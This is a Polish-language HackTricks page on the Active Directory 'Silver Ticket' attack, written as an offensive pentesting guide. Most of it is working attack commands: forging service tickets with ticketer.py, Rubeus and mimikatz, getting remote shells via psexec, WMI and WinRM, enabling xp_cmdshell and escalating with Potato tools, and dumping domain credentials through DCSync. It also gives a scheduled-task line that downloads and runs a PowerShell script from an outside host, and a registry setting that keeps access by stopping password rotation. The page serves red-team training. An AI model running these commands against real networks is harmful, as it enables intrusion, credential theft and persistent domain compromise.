Silver Ticket

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Silver ticket

Atak Silver Ticket polega na wykorzystaniu service tickets w środowiskach Active Directory (AD). Ta metoda opiera się na acquiring the NTLM hash of a service account, takiego jak computer account, aby sfałszować Ticket Granting Service (TGS) ticket. Dzięki sfałszowanemu ticketowi atakujący może uzyskać dostęp do konkretnych usług w sieci, impersonating any user, zwykle dążąc do uprawnień administratorskich. Należy zaznaczyć, że użycie AES keys do fałszowania ticketów jest bezpieczniejsze i trudniejsze do wykrycia.

warning

Silver Tickets są mniej wykrywalne niż Golden Tickets, ponieważ wymagają tylko hash of the service account, a nie konta krbtgt. Jednak są ograniczone do konkretnej usługi, którą atakują. Ponadto wystarczy skraść hasło użytkownika. Jeśli przejmiesz account's password with a SPN, możesz użyć tego hasła do stworzenia Silver Ticket, impersonating any user dla tej usługi.

Do tworzenia ticketów stosuje się różne narzędzia w zależności od systemu operacyjnego:

Na Linuxie

bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Na Windows

bash
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Usługa CIFS jest wymieniana jako częsty cel umożliwiający dostęp do systemu plików ofiary, ale inne usługi, takie jak HOST i RPCSS, mogą być także wykorzystane do zadań i zapytań WMI.

Przykład: MSSQL service (MSSQLSvc) + Potato to SYSTEM

Jeśli posiadasz NTLM hash (lub AES key) konta usługi SQL (np. sqlsvc), możesz sfałszować TGS dla MSSQL SPN i podszyć się pod dowolnego użytkownika wobec usługi SQL. Stamtąd włącz xp_cmdshell, aby wykonywać polecenia jako konto usługi SQL. Jeśli ten token ma SeImpersonatePrivilege, połącz to z Potato, aby eskalować do SYSTEM.

bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • Jeśli uzyskany kontekst posiada SeImpersonatePrivilege (często prawda dla kont usługowych), użyj wariantu Potato, aby uzyskać SYSTEM:
bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

Więcej szczegółów dotyczących nadużywania MSSQL i włączania xp_cmdshell:

MSSQL AD Abuse

Przegląd technik Potato:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Dostępne usługi

Typ usługiService Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

W zależności od systemu operacyjnego także:

WSMAN

RPCSS

WinRM

HOST

HTTP

W niektórych przypadkach możesz po prostu poprosić o: WINRM

Zaplanowane zadaniaHOST
Windows File Share, also psexecCIFS
Operacje LDAP, w tym DCSyncLDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Używając Rubeus możesz zażądać wszystkich tych ticketów używając parametru:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Identyfikatory zdarzeń Silver tickets

  • 4624: Logowanie konta
  • 4634: Wylogowanie konta
  • 4672: Logowanie administratora

Utrzymywanie dostępu

Aby zapobiec automatycznej rotacji hasła maszyn co 30 dni ustaw HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 lub możesz ustawić HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge na wartość większą niż 30 dni, aby wskazać okres rotacji, po którym hasło maszyny powinno być zmienione.

Nadużywanie Service tickets

W poniższych przykładach załóżmy, że ticket został pozyskany podszywając się pod konto administratora.

CIFS

Dzięki temu ticketowi będziesz mógł uzyskać dostęp do folderów C$ i ADMIN$ przez SMB (jeśli są udostępnione) i skopiować pliki na część zdalnego systemu plików, robiąc coś takiego:

bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Będziesz także w stanie uzyskać shell na hoście lub wykonywać dowolne polecenia używając psexec:

PsExec/Winexec/ScExec

HOST

Dzięki temu uprawnieniu możesz tworzyć zadania zaplanowane na komputerach zdalnych i wykonywać dowolne polecenia:

bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Dzięki tym tickets możesz wykonywać WMI w systemie ofiary:

bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Znajdź więcej informacji o wmiexec na następującej stronie:

WmiExec

HOST + WSMAN (WINRM)

Mając dostęp do winrm na komputerze, możesz połączyć się z nim i nawet uzyskać PowerShell:

bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Sprawdź następującą stronę, aby poznać więcej sposobów łączenia się z zdalnym hostem przy użyciu winrm:

WinRM

warning

Należy pamiętać, że winrm musi być aktywny i nasłuchiwać na zdalnym komputerze, aby uzyskać do niego dostęp.

LDAP

Dzięki temu uprawnieniu możesz zrzucić bazę danych DC używając DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Dowiedz się więcej o DCSync na następującej stronie:

DCSync

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks